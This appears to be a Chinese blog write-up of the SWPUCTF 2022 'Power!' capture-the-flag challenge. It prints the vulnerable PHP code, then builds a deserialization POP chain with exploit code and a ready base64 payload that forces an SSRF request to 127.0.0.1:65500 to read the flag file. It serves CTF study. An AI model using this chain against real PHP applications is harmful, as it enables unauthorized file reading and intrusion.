【SWPUCTF 2022 新生赛】Power!

参考文章:[SWPUCTF 2022 新生赛]Power! 反序列化详细题解-CSDN博客

题目

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }

        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?> 

思路

代码审计:

先不看类中的代码,看最后如果get方法存在source参数,就回显源码,如果参数名是imagepath,经过正则过滤后会读取文件内容并输出,如果参数名是pathinfo 执行反序列化操作

构造POP链:

回过头来查看类中的代码,总共就两个类,所以思路比较简单,从后向前推

最后要执行curl()函数,用于通过 curl 发起 HTTP 请求 结合提示是请求 127.0.0.1:65500

class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }

__destruct()中还有代码,会执行goodman函数把a中的b属性赋值为$this->superhacker;

所以可以直接在Backdoor类中把属性a赋值为FileViewer类对象,b赋值为local属性,superhacker赋值为 http://127.0.0.1:65500/ 那么pop链就是 FileViewer::loadfile() -> FileViewer::call()-> Backdoor::destruct()

<?php
class FileViewer{
    public $black_list;  // 可以不赋值,只要不是flag即可
    public $local;       // 在Backdoor类中赋值
    public $path  = "flag";   //文件名
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker;
    public function __construct(){
        $this->a = new FileViewer();
        $this->b = "local";
        $this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
echo base64_encode(serialize($a));

但是如果这样构造的话,最后序列化的是Backdoor类对象,而代码中反序列化之后代码是$FV->loadfile(); 而Backdoor类中没有loadfile()方法,会报错 Call to undefined method Backdoor::loadfile()

需要让反序列化得到是FileViewer类对象,这样才能正常执行命令并且输出结果,但是pop链还不能乱

如果一个类A里面的属性的值是另外一个类B,那么进行反序列化时会先反序列化类B然后再反序列化类A

进行对象的反序列化时,如果一个类(称其为A类)中包含另一个类的对象作为属性(假设这个类为B类),那么反序列化的顺序通常遵循以下原则:

先反序列化内部对象:首先会尝试反序列化B类对象。这是因为为了完整地恢复A类对象的状态,需要先确保所有它引用的对象已经被正确地创建并初始化。

然后反序列化外部对象:一旦B类对象成功反序列化,接下来就是反序列化A类对象本身的数据,包括其自身的属性值以及对已经反序列化的B类对象的引用

那么可以在原有的pop链基础上,再创建一个FileViewer类对象,然后把之前构造的Backdoor类对象赋值给FileViewer类对象中的其中任何一个属性,反序列化后得到的就是FileViewer类对象,就可以执行$FV->loadfile(); 让代码不会报错正常运行

至于最后$FV->loadfile();的结果是无所谓的,再创建一个FileViewer类对象的目的就是为了不报错

因为查看文件的操作是在反序列化Backdoor类对象的时候触发执行的,因此只要代码正常运行不报错,在反序列化时就会 echo ''; 输出查询的文件内容

注意这题只能把Backdoor类对象赋值给local,赋值给black_list 和 path 都会报错

因为black_list 和 path都在正则表达式中出现,需要是字符串类型,反序列化会报错

Uncaught Error: Object of class Backdoor could not be converted to string

<?php
class FileViewer{
    public $black_list;
    public $local;
    public $path  = "flag";
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker;
    public function __construct(){
        $this->a = new FileViewer();
        $this->b = "local";
        $this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
$b = new FileViewer();
$b->local = $a;
echo base64_encode(serialize($b));
//结果是TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NDoiZmxhZyI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MjM6Imh0dHA6Ly8xMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

经过测试上面的代码中 $this->superhacker 赋值的格式至少需要为 "http://127.0.0.1:65500/"

也可以直接赋值完整路径 "http://127.0.0.1:65500/flag",这样path就不用赋值了

但是一定要有 "http://127.0.0.1:65500/" 这个格式 即使只去掉 / 然后path赋值为/flag 都是不行的

传参path_info得到

暂时没明白,回去理解

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值